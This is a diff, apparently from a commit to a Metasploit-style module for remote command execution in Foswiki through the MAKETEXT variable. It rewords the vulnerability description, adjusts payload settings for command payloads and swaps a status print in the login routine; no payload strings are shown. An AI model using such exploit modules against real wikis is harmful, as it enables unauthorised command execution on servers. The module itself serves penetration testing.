@@ -16,18 +16,17 @@ def initialize(info = {})
16
16
super ( update_info ( info ,
17
17
'Name' => 'Foswiki MAKETEXT Remote Command Execution' ,
18
18
'Description' => %q{
19
- This module exploits a vulnerability in the MAKETEXT Foswiki variable. Using a
20
- specially crafted MAKETEXT, a malicious user can execute shell commands since user
19
+ This module exploits a vulnerability in the MAKETEXT Foswiki variable. By using
20
+ a specially crafted MAKETEXT, a malicious user can execute shell commands since the
21
21
input is passed to the Perl "eval" command without first being sanitized. The
22
22
problem is caused by an underlying security issue in the CPAN:Locale::Maketext
23
- module. This works in Foswiki sites that have user interface localization enabled
24
- (UserInterfaceInternationalisation variable set).
25
-
26
- If USERNAME and PASSWORD credentials aren't provided anonymous access will be
27
- intended. On the other hand, if the FoswikiPage option isn't provided, the module
28
- will try to create a random page on the SandBox space. The modules has been tested
29
- successfully on Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware
30
- virtual machine.
23
+ module. Only Foswiki sites that have user interface localization enabled
24
+ (UserInterfaceInternationalisation variable set) are vulnerable.
25
+
26
+ If USERNAME and PASSWORD aren't provided, anonymous access will be tried.
27
+ Also, if the FoswikiPage option isn't provided, the module will try to create a
28
+ random page on the SandBox space. The modules has been tested successfully on
29
+ Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware image.
31
30
} ,
32
31
'Author' =>
33
32
[
@@ -45,12 +44,11 @@ def initialize(info = {})
45
44
'Payload' =>
46
45
{
47
46
'DisableNops' => true ,
48
- 'BadChars' => '' ,
49
47
'Space' => 1024 ,
50
48
'Compat' =>
51
49
{
52
50
'PayloadType' => 'cmd' ,
53
- 'RequiredCmd' => 'generic ruby python bash telnet' ,
51
+ 'RequiredCmd' => 'generic ruby python bash telnet'
54
52
}
55
53
} ,
56
54
'Platform' => [ 'unix' ] ,
@@ -80,7 +78,7 @@ def do_login(username, password)
80
78
} )
81
79
82
80
if not res or res . code != 302 or res . headers [ 'Set-Cookie' ] !~ /FOSWIKISID=([0-9a-f]*)/
83
- print_status "#{ res . code } \n #{ res . body } "
81
+ vprint_status "#{ res . code } \n #{ res . body } "
84
82
return nil
85
83
end
86
84
0 commit comments